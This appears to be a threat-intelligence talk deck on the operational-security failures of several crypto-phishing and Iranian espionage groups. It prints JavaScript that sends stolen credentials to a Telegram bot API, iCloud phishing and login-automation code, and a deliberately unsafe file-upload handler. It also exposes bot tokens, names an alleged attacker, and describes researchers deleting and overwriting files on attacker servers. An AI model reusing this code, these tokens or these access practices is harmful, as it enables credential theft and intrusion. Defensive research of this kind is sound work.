- Main NFT phishing and Crypto Wallets C2 server resolves to IP 8.208.92.93
- Includes 400 phishing domains, daily, since October 2021

<table>
<thead>
<tr>
<th>Resolve</th>
<th>First</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.derace.win">www.derace.win</a></td>
<td>2022-05-20</td>
</tr>
<tr>
<td>wwwpolygon-web.win</td>
<td>2022-05-17</td>
</tr>
<tr>
<td>crabada.z-cdn.com</td>
<td>2022-05-09</td>
</tr>
<tr>
<td>wwwwww.stepn.site</td>
<td>2022-05-06</td>
</tr>
<tr>
<td><a href="http://www.stepn.wang">www.stepn.wang</a></td>
<td>2022-05-06</td>
</tr>
<tr>
<td><a href="http://www.stepn.site">www.stepn.site</a></td>
<td>2022-05-06</td>
</tr>
<tr>
<td>stepn.wang</td>
<td>2022-05-06</td>
</tr>
<tr>
<td>wwwpolygon-onllne.live</td>
<td>2022-05-02</td>
</tr>
<tr>
<td>polygon-onllne.live</td>
<td>2022-05-02</td>
</tr>
<tr>
<td>wwwtechnology-polygon.top</td>
<td>2022-04-30</td>
</tr>
<tr>
<td>technology-polygon.top</td>
<td>2022-04-30</td>
</tr>
<tr>
<td>wwwx2y2-cyou</td>
<td>2022-04-28</td>
</tr>
<tr>
<td>x2y2-cyou</td>
<td>2022-04-28</td>
</tr>
<tr>
<td>wwwweb-polygons.site</td>
<td>2022-04-28</td>
</tr>
<tr>
<td>web-polygons.site</td>
<td>2022-04-28</td>
</tr>
<tr>
<td>wwwplay-stepn.bond</td>
<td>2022-04-28</td>
</tr>
<tr>
<td>play-stepn.bond</td>
<td>2022-04-28</td>
</tr>
</tbody>
</table>
Ekmek Teknesi (Bread Boat) - Turkish Threat Actor

- Second phishing C2 server IP 8.208.76.71 with 150 phishing domains active since November 2021.
Ekmek Teknesi (Bread Boat) - Turkish Threat Actor

- Other C2 servers - since June 10 2022. Exfiltrate the passphrase to google form.
They stole $30,000 in two working days.

The Boss set a target of $100,000

C2 servers Cpanel credentials are shared

They also exchange the C2 servers cpanel management passwords

Ekmek Teknesi (Bread Boat) - Turkish Threat Actor
Ekmek Teknesi (Bread Boat) - Turkish Threat Actor

- Victims IP addresses - gelen.txt (incoming)
- Stolen wallets passphrases - 550 victims
Ekmek Teknesi (Bread Boat) - Turkish Threat Actor

- If no chain (parameter) is provided - **improper error handling** reveals Laravel PHP source
- 325 passphrases are revealed in the `bips.txt` file
- Exposed APP_KEY, DB name, credentials and also XSRF token
Ekmek Teknesi (Bread Boat) - Turkish Threat Actor

- Second opSec mistake - **exposed APP_KEY, DB name and credentials via surfing to .env file**

```plaintext
APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:Vp1a/R7DTaU0qI5Cx0FVIT9siF+Fm3OQfE9a1Fs7gNA=
APP_DEBUG=true
APP_URL=http://localhost

LOG_CHANNEL=stack

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=laravel
DB_USERNAME=root
DB_PASSWORD=
```
Ekmek Teknesi (Bread Boat) - Turkish Threat Actor

- NFT phishing
- Bragged that he stole 25 eth (75K USD) using the alphakongs.co phishing site.
- The original site alphakongsclub.com looks exactly the same.
Ekmek Teknesi (Bread Boat) - Turkish Threat Actor

- Alphakongs.space - additional phishing domain
- Open dir, Js code to steal crypto currency including the threat actor’s wallet address

```
Index of /static/js

<table>
<thead>
<tr>
<th>Name</th>
<th>Last modified</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Parent Directory</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>2_cad160eb.chunk.js</td>
<td>2022-03-18 15:59</td>
<td>2.2M</td>
<td></td>
</tr>
<tr>
<td>main.a3d523b0.chunk.js</td>
<td>2022-03-21 13:58</td>
<td>14K</td>
<td></td>
</tr>
<tr>
<td>main.a3d523b0.chunk..</td>
<td>2022-03-18 15:59</td>
<td>14K</td>
<td></td>
</tr>
</tbody>
</table>
```

Ekmek Teknesi (Bread Boat) - Turkish Threat Actor

- Stolen money withdrawal and laundering
- Attackers are using
  - Stolen credit cards
Ekmek Teknesi (Bread Boat) - Turkish Threat Actor

- Stolen money withdrawal and laundering
- Attackers are using
  - virtual credit cards
  - cryptocurrency
Ekmek Teknesi (Bread Boat) - Turkish Threat Actor

- Stolen bank credentials
Ekmek Teknesi (Bread Boat) - Turkish Threat Actor

- Different logic (JS) and additional Telegram groups are used in the second C2 server IP domains:
  - post.php - steals private keys and sends them to the Telegram group
  - router.php (Telegram API keys)
Ekmek Teknesi (Bread Boat) - Turkish Threat Actor

- TRX.online - pyramid scheme: mining platform - dozens of new participants every day
- Consulting about Fireblocks.com attacks.
- Stolen Fireblocks account credentials of nexthash

---

**Great news**

Dear members, in order to thank members and friends for their support and trust, the platform has launched a gift-giving activity to give back to everyone!

<table>
<thead>
<tr>
<th>single recharge</th>
<th>Gift ratio</th>
<th>Contact customer service to apply Telegram</th>
</tr>
</thead>
<tbody>
<tr>
<td>1000 TRX-5000 TRX</td>
<td>10%</td>
<td>Telegram</td>
</tr>
<tr>
<td>5001 TRX-10000 TRX</td>
<td>12%</td>
<td></td>
</tr>
<tr>
<td>10001 TRX-50000 TRX</td>
<td>15%</td>
<td></td>
</tr>
<tr>
<td>100001 TRX-100000 TRX</td>
<td>18%</td>
<td></td>
</tr>
<tr>
<td>100001 TRX-200000 TRX</td>
<td>20%</td>
<td></td>
</tr>
<tr>
<td>200001 TRX-500000 TRX</td>
<td>25%</td>
<td></td>
</tr>
<tr>
<td>500001 TRX-2000000 TRX</td>
<td>30%</td>
<td></td>
</tr>
</tbody>
</table>

For example: Member xxx recharges 10001 TRX, and can contact Telegram customer service to apply for a 1500 TRX recharge reward.

---

**URL:** https://console.fireblocks.io/welcome/login
**Username:** [REDACTED]
**Password:** [REDACTED]
**Application:** Google_ (Chrome) Default

---

**username** GroupAnonymousBot
**https:**//www.fireblocks.com/
**username** GroupAnonymousBot
**look like this place can be chased**
**username** GroupAnonymousBot
**full big investors control their wallets from one place**
**username** GroupAnonymousBot
**min deposits like 1000 btc**

**username** npatn
**Shall we do that pyramid scheme thing?**
**username** npatn
**hurry up**
**username** npatn
**let them make money**
**username** npatn
**let's pull**
**username** GroupAnonymousBot
**let's do it now**
Ekmek Teknesi (Bread Boat) - Turkish Threat Actor

- Taking over victim's website using sqlmap - screenshots from the attacker computers.
Ekmek Teknesi (Bread Boat) - Turkish Threat Actor

- Hacking of vulnerable WordPress sites and uploading the Chips L Mini webshell.
- WHM Cpanel root password for hundreds of hosts
Ekmek Teknesi (Bread Boat) - Turkish Threat Actor

- **https://api.telegram.org/bot1828796439:AAFqk3Ldhff8ofp0tPzBtO2gIRoYmnhyeHU**
  /getupdates?chat_id=463210132

```sql
CREATE TABLE `kullanici` (  `id` int(255) NOT NULL,  `username` varchar(8) NOT NULL,  `password` varchar(255) NOT NULL,  `date` datetime NOT NULL DEFAULT current_timestamp() ) ENGINE=InnoDB DEFAULT CHARSET=latin1;

CREATE TABLE `info` (  `id` int(11) NOT NULL,  `privatekey` varchar(255) NOT NULL,  `formName` varchar(255) NOT NULL,  `coinName` varchar(255) NOT NULL,  `notif1` varchar(2) NOT NULL,  `ip` varchar(255) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
```

```sql
INSERT INTO `kullanici` (`id`, `username`, `password`, `date`) VALUES
(1, 'admin', 'e10adc3949ba59abbe56e057f20f883e', '2020-04-27 00:55:01');
```

https://md5hashing.net > hash > e10adc3949ba59abbe56e057f20f883e... ;

Hash md5: e10adc3949ba59abbe56e057f20f883e

2 Nov 2015 — Decoded hash md5: e10adc3949ba59abbe56e057f20f883e: 123456 (unhashed, decoded, lookup, decrypted, decoded)
Ekmek Teknesi (Bread Boat) - Turkish Threat Actor

- The login leads to a Chester Phoenix admin panel
  https://api.telegram.org/bot5003501275:AAGrbGAOAtwQD28mJipltOg1cwmfb4QNRaM/getupdates?chat_id=1865405435
Ekmek Teknesi (Bread Boat) - Turkish Threat Actor

- 300 GB of victim’s exfiltrated data (RedLine info stealer)
Ekmek Teknesi (Bread Boat) - Turkish Threat Actor - Attribution

- Attackers location in Ankara and Istanbul
- The attackers shared a zip file with the entire C2 server code of: pancakeswapairdrop.me
- Last login from Turkey
Ekmek Teknesi (Bread Boat) - Turkish Threat Actor - Attribution

- plyr.com brand company name bid.

R10.net - BID

26-06-2022, 22:56:31
username GroupAnonymousBot

username npat
plyr.com

Attacker’s Telegram Group - BID

26-06-2022, 19:36:29
username GroupAnonymousBot

username npat
plyr.com

**Brand/Company name:** PLYR

Who are we, what do we do?: Online player market and NFT.

Who are your customers/visitors, who do we want to be?: Online players from all over the world.

The strongest and most prominent aspects of our brand:
Commission rates and the new Turkish brand in the innovative global game market.

The graphic’s website or a picture of a surface that is important to you:
Our logo will be used on our site, social media and all our mobile applications.

**Competition period:**
26.06.2022 Start
30.06.2022 End

End time is fixed at 23:59.

**Reward:**
3000 TL

Get ready, vector should not be used, if it is detected, it will be disqualified from the competition together with the participant.

Works should be uploaded with a maximum width of 1080 px. Competition Process:
- All questions and answers related to the subject of competition and the participant cannot communicate in any way during the competition, in case of detection, the participant will be disqualified and the owner of the competition will be suspended.
Ekmek Teknesi (Bread Boat) - Turkish Threat Actor - Attribution

- MuratcanATAK account - reveal 7 years membership - buying and selling stolen accounts.
Two new members joined the group in May 12 and left later on.
Ekmek Teknesi (Bread Boat) - Turkish Threat Actor - Attribution

- When attribution goes too far :)

![Image of Tinder messages and profiles with faces blurred]
# OopsSec Meter - Ekmek Teknesi -score - 65/100

<table>
<thead>
<tr>
<th>OopsSec Category</th>
<th>Partial</th>
<th>Moderate</th>
<th>Complete</th>
</tr>
</thead>
<tbody>
<tr>
<td>Victim’s HeatMap</td>
<td></td>
<td></td>
<td>Identity 10</td>
</tr>
<tr>
<td>Attack Vectors mapping</td>
<td></td>
<td>10</td>
<td></td>
</tr>
<tr>
<td>Access C2 backend code</td>
<td></td>
<td>10</td>
<td></td>
</tr>
<tr>
<td>Achieve victims exfiltrated data</td>
<td></td>
<td>10</td>
<td></td>
</tr>
<tr>
<td>Attacker malicious techniques</td>
<td></td>
<td>7</td>
<td></td>
</tr>
<tr>
<td>Built-in sinkhole capabilities</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Attackers communication channels</td>
<td></td>
<td>10</td>
<td></td>
</tr>
<tr>
<td>Attribution - identity</td>
<td></td>
<td>8</td>
<td></td>
</tr>
<tr>
<td>Disinformation attack</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Take-Down</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Tunisian Threat Actor - Credentials Theft

- Large amount of HTML and JS phishing credential JS/HTML malware
Tunisian Threat Actor - Credentials Theft

- HTML and JS phishing credentials sent to:
  - Hardcoded php on different sites
  - A Telegram group.

```javascript
theif += "\nIP Details = https://ipinfo.io/" + objs.ip + "/json"
var url_telegram = "https://api.telegram.org/
var randtoken = "bot1257337675"
var token = ":AAHD2Vp72afEEmv4n6WqVFZ-_CxfvOedcso/"
var iden = "sendMessage"
chat_id=-1001228517612
text=""
var createdCORSRequest = url_telegram+randtoken+token+iden
var request = createCORSRequest( "POST", createdCORSRequest+encodeURI(theif) )
```
Tunisian Threat Actor - Credentials Theft

- Among dozens of C2 servers, we found an opendir C2 server
- Zip archive is downloadable -> access to all backend PHP code.

Index of /jj/

<table>
<thead>
<tr>
<th>Name</th>
<th>Last modified</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Parent Directory</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>EXCEL_2.zip</td>
<td>04-Apr-2022 21:28</td>
<td>8k</td>
<td></td>
</tr>
<tr>
<td>excell.html</td>
<td>16-Dec-2021 16:10</td>
<td>12k</td>
<td></td>
</tr>
<tr>
<td>accor_2gb</td>
<td>10-Apr-2022 16:40</td>
<td>4k</td>
<td></td>
</tr>
<tr>
<td>send1.php</td>
<td>04-Apr-2022 17:35</td>
<td>12k</td>
<td></td>
</tr>
</tbody>
</table>

Proudly Served by LiteSpeed Web Server at cherpa.eu Port 443
Tunisian Threat Actor - Credentials Theft

- Joined the Telegram group “Meterpreter Data” [https://t.me/+Ji0xT9A41RNhZDM8](https://t.me/+Ji0xT9A41RNhZDM8)
- I have downloaded all exfiltrated credentials and shared messages/photos
- 12,000 victims since 2020 and still active

![Image of Meterpreter Data Telegram group](image-url)
Tunisian Threat Actor - Credentials Theft

- Updates throughout webhook of legit site

- Attacker - Alae Riahi - usage of his real name

I can Upload a php script shell to control the server using the cpanel to upload it ... i already did that many times before
Tunisian Threat Actor - Credentials Theft

- SAP consultant by day, hackers at night

Alae Riahi
SAP Consultant at Avaxia Consulting
Ben Arous, Ben Arous Governorate, Tunisia • Contact info
500+ connections

About

- SAP Consultant:
Tunisian Threat Actor - Credentials Theft

- Tested his phishing lures on his computer
- Including his work email server
## OopsSec Meter - Tunisian Threat Actor

**Score:** 78/100

<table>
<thead>
<tr>
<th>OopsSec Category</th>
<th>Partial</th>
<th>Moderate</th>
<th>Complete</th>
</tr>
</thead>
<tbody>
<tr>
<td>Victim’s HeatMap</td>
<td></td>
<td></td>
<td>Identity 10</td>
</tr>
<tr>
<td>Attack Vectors mapping</td>
<td></td>
<td>5</td>
<td></td>
</tr>
<tr>
<td>Access C2 backend code</td>
<td></td>
<td></td>
<td>10</td>
</tr>
<tr>
<td>Achieve victims exfiltrated data</td>
<td></td>
<td></td>
<td>10</td>
</tr>
<tr>
<td>Attacker malicious techniques</td>
<td></td>
<td>7</td>
<td></td>
</tr>
<tr>
<td>Built-in sinkhole capabilities</td>
<td></td>
<td>6</td>
<td></td>
</tr>
<tr>
<td>Attackers communication channels</td>
<td></td>
<td></td>
<td>10</td>
</tr>
<tr>
<td>Attribution - identity</td>
<td></td>
<td></td>
<td>Identity - 10</td>
</tr>
<tr>
<td>Disinformation attack</td>
<td></td>
<td>5</td>
<td></td>
</tr>
<tr>
<td>Take-Down</td>
<td></td>
<td>Temporary - 5</td>
<td></td>
</tr>
</tbody>
</table>
Rampant Kitten - Iranian Threat Actor

- Iranian threat actor - malware and phishing on organizations which the Iran Islamic regime sees as a threat
- FTP exfiltration
  - Files were exfiltrated to the C2 FTP incoming directory.
  - Web server was installed and the webroot directory was configured to the same FTP incoming directory.
  - Theoretical exploitation vector based on server config: Upload a webshell via FTP, execute it via HTTP.
Rampant kitten - Iranian Threat Actor

- Credential theft via Rouge Telegram installer

Exfiltration files in clear text open for browsing
Rampant kitten - Iraninan Threat Actor

- Telegram code was open to download
- includes the threat actor credentials for sending the victim’s data by mail
Power Short Shell

- Late 2021- Iranian threat actor infects Farsi speaking victims (Windows machines)
- The threat actor also used Phishing campaign for collecting Gmail and Instagram Credentials
CWE-434: Unrestricted Upload of File with Dangerous Type

Upload a webshell via HTTP, execute it via HTTP.

- Write where what - No validations - combine untrusted file name param
  - All file types allowed => what => aspx backdoor
  - Directory traversal on fileName + No unique file names = > Where

```csharp
public partial class upload : System.Web.UI.Page
{
    protected void Page_Load(object sender, EventArgs e)
    {
        try
        {
            var filename = Request.QueryString["fn"];
            var folder = Path.Combine(HttpContext.Current.Server.MapPath("~/"), Request.UserHostAddress);
            if (!Directory.Exists(folder))
                Directory.CreateDirectory(folder);
            using (var fileStream = File.Create(Path.Combine(folder, filename)))
            {
                Request.InputStream.Seek(0, SeekOrigin.Begin);
                Request.InputStream.CopyTo(fileStream);
            }
        }
    }
}
```
Power Short Shell

- Phishing - store stolen credentials in clear text file out.txt on the C2 web root
Icloud - Automated Two-Factor Authentication Phishing

The user enters in their username and password.

An authentication code is sent to the user’s mobile device.

The user enters in their authentication code to log into the application.
Power Short Shell

Initial JS code - send the collected credentials to the .NET code

```javascript
$("#sign-in").on('click', function () {
    $(".pop-container.error.signin-error").remove();
    var form = $("#sign_in_form");
    if (form.hasClass('hide-password')) {
        form.removeClass('hide-password');
        form.addClass('show-password');
        $(this).addClass('disable');
    }
    var account = $("#account_name_text_field").val();
    var passwd = $("#password_text_field").val();
    if (account.length > 0 && passwd.length > 0) {
        var frame = window.top.document.getElementsByTagName('iframe')[0];
        frame.style.display = "none";
        window.top.document.getElementsByClassName('overlay')[0].style.display = "initial";
        $.post("/Social/Check", { account: 'icloud', username: account, password: passwd, country:co },
            function (data, status) {
                window.top.document.getElementsByClassName('overlay')[0].style.display = "none";
                frame.style.display = "initial";
                if (data.status == 'successfully') {
                    top.window.location.href = '/Social/iCloud?finish=true&redirect=' + url;
                } else if (data.status == 'sms_code') {

```

124
The Check function logs the credentials to a **downloadable file in clear text**.
Power Short Shell

Bypass Apple security checks.
Usage of Selenium’s Web chrome driver to login into the victim’s apple account

```csharp
public dynamic Start()
{
    object obj = new ExpandoObject();
    this.driver.Navigate().GoToUrl("https://icloud.com");
    Thread.Sleep(10000);
    WebDriverWait webDriverWait = new WebDriverWait(this.driver, TimeSpan.FromSeconds(60.0));
    webDriverWait.Until<UIElement>((IWebDriver driver) => driver.FindElement(By.Id("aid-auth-widget-iFrame")));
    IWebElement webElement = this.driver.FindElement(By.Id("aid-auth-widget-iFrame"));
    this.driver.SwitchTo().Frame(webElement);
    webDriverWait.Until<UIElement>((IWebDriver driver) => driver.FindElement(By.Id("account_name_text_field")));
    IWebElement webElement2 = this.driver.FindElement(By.Id("remember-me"));
    webElement2.Click();
    IWebElement webElement3 = this.driver.FindElement(By.Id("account_name_text_field"));
    webElement3.SendKeys(this.Username);
    IWebElement webElement4 = this.driver.FindElement(By.Id("sign-in"));
    webElement4.Click();
    webDriverWait.Until<UIElement>((IWebDriver driver) => driver.FindElement(By.Id("password_text_field")));
    Thread.Sleep(2000);
    IWebElement webElement5 = this.driver.FindElement(By.Id("password_text_field"));
    webElement5.SendKeys(this.Password);
    webElement4.Click();
    Thread.Sleep(15000);
    try
    {
        IWebElement webElement6 = this.driver.FindElement(By.Id("errMsg"));
        if (webElement6.Text == "Your Apple ID or password was incorrect.")
        {
            // Handle error
        }
    }
```
Power Short Shell

The automation in action
Power Short Shell

- **June 2022 - Follina 0-day** vulnerability used to infect by Power Short Shell

- Timeline:
  - 17/5 - C2 server domain was registered - https://summit.didns.ru
  - 27/5 - Follina 0day was discovered
  - 14/6 - Patch was released by Microsoft
  - 18/6 - First attack using Follina and PowerShortShell and the C2 server

- The C2 server is still using the same vulnerable two aspx pages
Apple response

- Apple ID has multiple layers of protection to help protect against unauthorized account access.
- Our support documentation recommends users utilize
  - strong passwords
  - utilize two-factor authentication
  - provide tips for avoiding phishing attempts
    Recognize and avoid phishing messages, phony support calls, and other scams - Apple Support
Infy Threat Actor - background - 2007-2015

- First campaign started in 2007 and it's still active today

Infy malware was discovered
Targeted attack against “threats” to the Islamic regime of Iran - 350 victims
In 35 countries.

May 2015

Jule 2015

Infy take down
Using sinkhole
The malware used hard-coded domain names
The lesson was learnt - After 2015 takedown

2 step infection chain

- Foudre - first stage malware called Foudre (Lightning in French) checking if the victim’s machine is a valuable machine

- Tonnerre - 2nd stage - only for valuable victims - Fully Undetectable in 2018 full surveillance capabilities screen captures, audio recording, etc.
Foudre and Tonnerre implement two anti takedown capabilities:

1. DGA = DOMAIN GENERATION ALGORITHM - every week 101 new C2 domains are generated using a DGA algorithm

   ToHex(CRC32(“NRV1” + year + month + week_number)) + (”.space”|”.net”|”.top”|”.dynu”)

   The date is derived from RSS feed of legit worldwide news site:
2. **C2 signature verification**
   - downloads signature file decrypt it using RSA public key
   - verifying that the domain is a legit c2 server and not a taken over domain.

**C2 signature verification**

Foudre uses the lockbox3 Delphi library to verify the C2:

1. Download signature file from the generated domain name C2 with GET request: GET /de/?d=2017149&t=2017%2D5%2D29%2D%2D12%2D16%2D33
d= [year] [number of days since the beginning of the year]
t= Current time, urlencoded.

2. Save the signature in %appdata%\sig.tmp.

3. Write the clear text string [domainname][year][number of days since the beginning of the year] in %appdata%\dom.tmp.

   The current date is downloaded from http://feeds.skynews[.]com/feeds/rss/home.xml <lastBuildDate> field.

4. Decrypt the signature file with the public key (stored in %all users%\application data\snailDriver V<version>\pub.key)

5. Compare the result with the dom.tmp clear text string.
Infy Threat Actor - background - 2017

- Anti-takedown is done across all communications with all C2 servers and protocol
- Example: The HTTP C2 updates the Tonnerre with the current FTP C2 server IP address

Obfuscate IP - 185.136.163.158
The RSA signature
FTP ports 69,1512,443
Public socks proxy’s IP address
The implications of the very strong opsec security are that security researchers in the last five years don't have ability to:

- Sinkhole is not useful - only victim’s ip address may be collected. 
- No access to exfiltrated data - encrypted with private key and uploaded securely 
- Strong opSec prevent take down even if a research will be given access to the original C2 server
  - Sinkhole is not effective due to DGA
  - Send kill command/update malware version to non malicious - not possible
- Only option is to publish ioc’s (malware hash, malware signature) - short term solution.
Infy Threat Actor - background - 2017-2022

Infy malware was discovered in May 2015. Targeted attack against "threats" to the Islamic regime of Iran - 350 victims in 35 countries.

July 2015: Infy take down using sinkhole. The malware used hard-coded domain names.

New developed tools: Foudre 1 and Tonnerre were found - DGA + C2 RSA signature validation.

2017:
- February - Foudre V. 2-22, Tonnerre 11
- March - Foudre V. 23 + macro
- June - Foudre V. 24 + macro
- October - Foudre V.26 DGA + Tonnerre

MaxPinner 4-5V:
- Telegram Exfil - execute by Foudre if Tonnere is not running.
weakest link in Infy chain: the transmission of files from the C2 server to Iran

INFY C2 server contains two backend domains which are not part of Foudre and Tonnerre DGA domains.

Log1host.info.gf is used for Foudre backend and f1host.info.gf for Tonnerre (f for files)
- C2 server used as an infection server for the 2nd stage of the attack. We guessed the predictable name of Tonnerre new versions binaries.
- The decryption password was the same password used in previous version of Foudre.
- Conclusion: the two backend domains are not used by the newest version of Tonnerre.
log1host.info.gf and f1host.info.gf are used by the attackers to download and delete exfiltrated victims files.

The C2 server includes a php backend script protected by a guessable password. The script provides a dirlist of the exfiltrated files directory and also the ability to delete them.

We were able to download all Tonnerre and Foudre exfiltrated files over a period of 4 months and save them automatically sorted by victim.
Tonnerre files include obfuscated metadata which is not encrypted.
Interesting Victims - located in Sweden, first infection in March 10

Victim is a Windows server hosting a Titan ftp server and mini-httpd web server
Attacker machine in Iran probably used for testing infected malicious Word file with macro.

Word filename “mollajoon_sarbazi_” is an opposition leader to the Iranian Islamic regime.

We found files from computer name test and user test2 which were used by the attackers.

Machine GUID

5f651d15-0f69-4e6d-9ee6-ee0a98304b0b

Tonnerre version

00016

User

F:\xls of second work\pics\Screenshot_20220119-210555_WhatsApp.jpg
F:\SanDiskMemoryZone_QuickStartGuide.pdf
F:\xls of second work\pics\Screenshot_20220119-205951_WhatsApp.jpg
F:\xls of second work\pics\Screenshot_20220119-205025_WhatsApp.jpg
F:\xls of second work\pics\Screenshot_20220119-205928_WhatsApp.jpg
F:\xls of second work\old project\mollajoon_sarbazi_.docx
F:\xls of second work\pics\words for send\s3.docx
F:\xls of second work\pics\Screenshot_20220122-221103_WhatsApp.jpg
F:\xls of second work\pics\Screenshot_20220119-215158_X Plus.jpg
Infy Threat Actor - 2022

- Victim in Iran - first infection June 27, 2022
- Activist against violation of human rights in Iran
  http://www.asre-nou.net/1384/azar/1/m-gozaresh-aban.html
- 1800 files were exfiltrated on the first day.
Infy Threat Actor - 2022

- Foudre victim in Israel since July 17 2022
• Probably a new capability of taking screen captures automatically when the victim is using one of the social network applications or browsing.

• Support WhatsApp, Telegram X plus Messenger, Chrome and Instagram
The threat actor copied the C2 to a new C2 server on April 1. The IP is: 212.73.150.155

The log1host and f1host backend domains were not used until May 25

But, we were still able to download all exfiltrated files using DGA domain names

The default page of the new C2 is different
We achieved the following:

- Generated a heatmap and mapped all victims
- Accessed the latest malware binaries
- Accessed attackers testing infrastructure and future phishing lures
- Accessed file names from attackers’ testing machines and attributes of the attackers
  They used three Windows machine guids, their backend IP addresses were in Iran.
- Deleted all exfiltrated files (but after a short while the attacker could block us)
- Changed exfiltrated files (uploaded our own encrypted files and overwrote existing ones)

But we couldn't not perform a long term takedown...
<table>
<thead>
<tr>
<th>Name</th>
<th>Date modified</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>25/03/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>24/03/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>21/03/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>20/03/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>15/03/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>15/03/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>09/02/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>03/03/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>27/02/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>27/02/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>21/02/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>21/02/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>21/02/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>21/02/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>21/02/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>19/02/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>16/02/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>15/02/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>13/02/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>13/02/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>13/02/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>3/01/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>26/01/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>26/01/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>16/01/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>16/01/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>16/01/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>14/01/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>13/01/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>16/01/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>16/01/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>09/01/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>08/01/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>08/01/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>05/01/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>04/01/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>04/01/2022</td>
<td>File folder</td>
</tr>
<tr>
<td></td>
<td>04/01/2022</td>
<td>File folder</td>
</tr>
</tbody>
</table>
## OopsSec Meter - Infy - 27/100

<table>
<thead>
<tr>
<th>OopsSec Category</th>
<th>Partial</th>
<th>Moderate</th>
<th>Complete</th>
</tr>
</thead>
<tbody>
<tr>
<td>Victim’s HeatMap</td>
<td></td>
<td></td>
<td>Industry 2</td>
</tr>
<tr>
<td>Attack Vectors mapping</td>
<td></td>
<td></td>
<td>3</td>
</tr>
<tr>
<td>Access C2 backend code</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Achieve victims exfiltrated data</td>
<td></td>
<td></td>
<td>10</td>
</tr>
<tr>
<td>Attacker malicious techniques</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Built-in sinkhole capabilities</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Attackers communication channels</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Attribution - identity</td>
<td></td>
<td></td>
<td>Partial - 7</td>
</tr>
<tr>
<td>Disinformation attack</td>
<td></td>
<td></td>
<td>5</td>
</tr>
<tr>
<td>Take-Down</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
1. After finishing my research, I found a public research by Checkpoint which details some of the findings I also found independently regarding the MAAS Android
   https://research.checkpoint.com/2021/smishing-botnets-going-viral-in-iran/

2. https://3xp0rt.com/posts/mars-stealer - prior research on Mars Stealer

3. https://github.com/sibears/IDAGolangHelper


Thank you